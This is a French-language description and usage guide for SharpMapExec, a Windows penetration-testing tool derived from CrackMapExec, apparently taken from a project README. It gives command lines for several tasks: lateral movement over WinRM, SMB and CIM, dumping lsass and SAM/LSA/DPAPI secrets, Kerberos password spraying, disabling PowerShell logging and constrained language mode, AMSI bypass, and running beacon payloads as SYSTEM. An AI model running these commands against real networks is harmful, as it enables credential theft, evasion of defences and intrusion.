Couteau suisse de tests d'intrusion natif Windows pour le mouvement latéral, l'accès aux identifiants, l'exfiltration de données et le scan de vulnérabilités sur les protocoles CIM, SMB, WinRM, LDAP et de domaine avec authentification Kerberos/NTLM.
Une version affinée de CrackMapExec. Cet outil est conçu pour simplifier les tests d'intrusion des réseaux et pour créer un couteau suisse destiné à être exécuté sur Windows, ce qui est souvent une exigence lors des simulations de menaces internes.
Outre l'analyse d'accès, il peut être utilisé pour identifier des configurations vulnérables et exfiltrer des données. L'idée des modules d'exfiltration de données est d'exécuter le moins de code nécessaire sur l'ordinateur distant. Pour ce faire, l'outil télécharge tous les secrets dans le répertoire loot et les analyse localement.
Vous pouvez spécifier si vous souhaitez utiliser l'authentification Kerberos ou NTLM. Si vous choisissez Kerberos, l'outil créera un jeton sacrificiel et utilisera Rubeus pour importer/demander le ticket. Si NTLM est spécifié, l'outil utilisera l'emprunt d'identité SetThreadToken ou LogonUser de SharpKatz.
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrm (Runs Enable-PSRemoting -Force)
/m:disable_winrm (Runs Disable-PSRemoting -Force)
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:disable_pslogging (Modify registry to disable PowerShell Logging)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Modify __PSLockdownPolicy registry to disable CLM)
/m:check_pslockdown (Check __PSLockdownPolicy registry)
/m:check_pslogging (Check PowerShell Logging registry)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Scan for accessible Smb shares)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump & parse lsass)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute local C# assembly in memory)
/m:assembly /p:beacon.exe /system (Execute local C# assembly as System in memory)
/m:assembly /p:getMailBox.exe /delegwalk (Execute local C# assembly in all unique delegation processes in memory)
/m:download /path:C:\file /destination:file (Download file from host)
/m:upload /path:C:\file /destination:file (Upload file to host)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Download user and password policy)
Peut être utilisé pour scanner l'accès administrateur, les partages Smb accessibles, la version Smb et le relay signing.
/m:shares (Scan enumerated shares for access)
La bête. Il dispose d'un contournement Amsi intégré, d'une évasion de langage JEA, d'une analyse de fonctions JEA. Peut être utilisé pour l'exécution de code, la recherche d'accès PsRemote, les points de terminaison JEA vulnérables et l'exfiltration de données.
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)
Prend actuellement en charge le password spraying de domaine et la création d'un TGT pour l'utilisateur actuel pouvant être utilisé avec le paramètre /ticket pour obtenir le contexte actuel.
Télécharger les données nécessaires avant le password spraying
/m:spraydata (Download user and password policy)
Pour une exécution facile ou en masse d'assemblies C# en mémoire

Password spraying Kerberos puis analyse de l'accès administrateur local

Ce projet prend en charge l'analyse des points de terminaison JEA et analysera le code source des commandes non par défaut et vérifiera si le point de terminaison n'a pas été configuré pour le mode no-language.

Découvrir la réutilisation du mot de passe administrateur local avec un hash NT.

Vidage en masse du processus Lsass avec une DLL signée Microsoft intégrée et enregistre dans le dossier loot

S'exécute dans tous les processus de délégation triés par utilisateurs uniques

Rechercher la signature SMB et SMBv1

Et bien plus !
Certains scénarios avec Kerberos nécessitent de synchroniser votre horloge avec le DC et de définir le DNS
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
Projets qui ont aidé ou sont présents dans cet outil